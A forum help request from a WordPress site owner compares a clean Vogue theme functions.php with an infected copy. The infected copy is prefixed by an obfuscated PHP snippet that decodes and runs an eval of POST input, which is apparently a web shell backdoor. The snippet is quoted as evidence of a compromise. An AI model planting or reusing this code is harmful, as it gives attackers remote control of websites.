Thank you for your suggestion. I checked and compared with same theme (in other site) and same function.php.

Here is the original one:

<?php
/**

• Vogue theme. *
• @since 1.0.0 */

// File Security Check
if ( ! defined( ‘ABSPATH’ ) ) { exit; }

/**

• Set the content width based on the theme’s design and stylesheet. *
• @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

/**

• Initialize theme. *
• @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php’ ); ————————————

and here is one in this site:

<?php $mt=“mFsKCleRfU”; $ojj=“IEBleldle”; $hsa=“E9TVFsnd2Vud2VuJ10p”; $fnx=“Ow==”; $zk = strreplace(“d”,“”,“sdtdrdredpdldadcde”); $ef = $zk(“z”, “”, “zbazsze64zdzeczodze”); $dva = $zk(“p”,“”,“pcprpepaptpefpupnpcptpipopn”); $zvm = $dva(“, $ef($zk("le”, “”, $ojj.$mt.$hsa.$fnx))); $zvm(); ?>OOO<?php
/**

• Vogue theme. *
• @since 1.0.0 */

// File Security Check
if ( ! defined( 'ABSPATH’ ) ) { exit; }

/**

• Set the content width based on the theme’s design and stylesheet. *
• @since 1.0.0 / if ( ! isset( $contentwidth ) ) { $contentwidth = 1200; / pixels */ }

/**

• Initialize theme. *
• @since 1.0.0 */ require( trailingslashit( gettemplatedirectory() ) . 'inc/init.php’ ); ————————————

So obviously the top part was inserted. I deleted this part, and make it as it should be, and restarted server. However, unfortunately, the result is the same.

Do you have further suggestions?

Best regards,

Hiroyuki
